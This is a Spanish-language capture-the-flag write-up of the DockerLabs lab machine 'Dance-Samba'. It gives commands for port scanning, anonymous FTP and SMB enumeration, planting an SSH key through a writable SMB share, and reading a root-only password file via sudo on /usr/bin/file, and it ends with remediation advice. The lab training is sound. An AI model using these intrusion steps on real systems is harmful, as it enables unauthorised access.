Dance-Samba

Introducción

Este documento detalla la resolución completa de la máquina Dance-Samba, desarrollada por d1se0 para la plataforma DockerLabs y clasificada como Medio.

El objetivo es describir el proceso completo de compromiso del sistema, desde la enumeración inicial hasta la escalada de privilegios, analizando cada vector de ataque y destacando las vulnerabilidades explotadas.

La metodología se divide en tres fases principales:

1. Reconocimiento: identificación de servicios expuestos y análisis inicial.
2. Explotación: obtención de acceso inicial abusando del servicio SMB.
3. Escalada de privilegios: uso de un binario SUID para obtener acceso a root.

Todas las acciones se realizaron en el entorno aislado proporcionado por DockerLabs.

---

Información General

Atributo	Valor
Nombre	Dance-Samba
Autor	d1se0
Dificultad	Medio
Fecha	26/08/2024
Plataforma	DockerLabs

---

Paso 0 — Preparación y despliegue

Se descomprime y despliega la máquina:

unzip "Dance-Samba.zip"
sudo bash auto_deploy.sh "Dance-Samba.tar"

---

Paso 1 — Reconocimiento

1.1 Organización del entorno

mkdir -p Dance-Samba/{content,exploits,nmap,gobuster,scripts}
cd Dance-Samba

1.2 Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Puertos abiertos:

• 21/tcp – FTP
• 22/tcp – SSH
• 139/tcp – SMB
• 445/tcp – SMB

1.3 Escaneo de servicios

nmap -sCV -p21,22,139,445 172.17.0.2

Se observa que FTP permite acceso anónimo, lo cual es un vector relevante.

---

1.4 Enumeración FTP

Accedemos como usuario anónimo:

ftp 172.17.0.2

Descargamos nota.txt:

El archivo contiene dos pistas importantes: Macarena y donald.

---

1.5 Enumeración SMB

Usamos enum4linux:

Se confirma:

• Usuario válido: macarena
• Compartición SMB: macarena

---

Paso 2 — Explotación (Acceso Inicial)

Accedemos al recurso SMB usando el usuario identificado:

smbclient //172.17.0.2/macarena -U macarena

Encontramos el archivo user.txt:

El hash no es crackeable, pero la carpeta tiene permisos de escritura, por lo que podemos introducir nuestras propias claves SSH.

---

2.1 Inyección de clave SSH

Creamos la carpeta:

mkdir .ssh

Creamos clave RSA (si no existe):

ssh-keygen -t rsa -b 4096

Copiamos nuestra clave pública:

cp ~/.ssh/id_rsa.pub .

Subimos al servidor:

cd .ssh/
put id_rsa.pub

Creamos authorized_keys en local:

cat id_rsa.pub > authorized_keys

Lo subimos:

put authorized_keys

Finalmente, accedemos al sistema:

ssh -i ~/.ssh/id_rsa macarena@172.17.0.2

---

Paso 3 — Escalada de privilegios

3.1 Macarena → root

Revisamos contenido del directorio:

El archivo contiene un dato codificado. Tras procesarlo en CyberChef:

Obtenemos:

supersecurepasword

Probamos contraseña con Macarena → funciona.

Hacemos:

sudo -l

Tenemos permiso sudo sobre /usr/bin/file.

Buscamos archivos a los que solo root puede acceder:

Leemos el archivo con file:

sudo file -f /opt/password.txt

Obtenemos credenciales:

root : rooteable2

Hacemos:

su root

---

Fallos de Seguridad Identificados

1. FTP anónimo habilitado Permite acceso directo sin autenticación y exposición de archivos internos.

2. Credenciales y pistas almacenadas en texto plano nota.txt, hashes y contraseñas expuestos sin protección.

3. Permisos de escritura en el home de un usuario real a través de SMB Posibilita el secuestro de sesión mediante claves SSH.

4. Hash reversible sin medidas de protección adicionales Codificación en base32/base64 sin cifrado real.

5. Archivo sensible accesible únicamente con binario SUID vulnerable El binario /usr/bin/file permite leer archivos de root.

6. Contraseña débil para root (rooteable2) Fácilmente adivinable o derivable.

---

Recomendaciones

1. Deshabilitar FTP anónimo y usar SFTP o FTPS Evita accesos no autorizados.

2. Eliminar archivos con información sensible en texto plano Centralizar credenciales en un sistema seguro.

3. Configurar correctamente permisos en SMB Evitar permisos de escritura en directorios de usuarios críticos.

4. Usar hashing seguro (bcrypt, argon2) Evitar codificaciones triviales como base64/base32.

5. Eliminar binarios SUID innecesarios O restringirlos con medidas como AppArmor o sudoers.

6. Imponer políticas de contraseñas fuertes Longitud mínima, complejidad, caducidad y bloqueo por intentos.